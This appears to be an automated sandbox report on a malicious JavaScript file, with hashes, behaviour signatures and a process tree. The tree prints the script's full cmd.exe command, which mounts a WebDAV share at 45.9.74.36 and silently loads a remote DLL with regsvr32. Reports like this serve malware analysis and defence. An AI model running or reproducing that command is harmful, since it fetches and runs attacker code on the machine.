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Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 06:46

General

  • Target

    3769527465871278.js

  • Size

    6KB

  • MD5

    cb785ddf4c72958b96328848b47e9241

  • SHA1

    33d66b3ea3fcca32ab9009dc1202a2e6aee1a22c

  • SHA256

    c0c8627b1d209615384c09c26a1b3cda8ecb9ba76cfe7ccf20f1e99b9a6b9126

  • SHA512

    adabec0d14d7ac1683fb6809342a333e3c1ba03af6fe57b4a07737422fbcaa0836161b89675cb9124138f1398ce35cd1d5a8aa131c1eae415d8852f373761780

  • SSDEEP

    96:Y8oE+/w1TKUIhBcAF4Akj7IhBcAF4cWESkEpqR:Ylp/w1DI/cPAk/I/cPcWUas

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3769527465871278.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\1986886015048.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4944

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads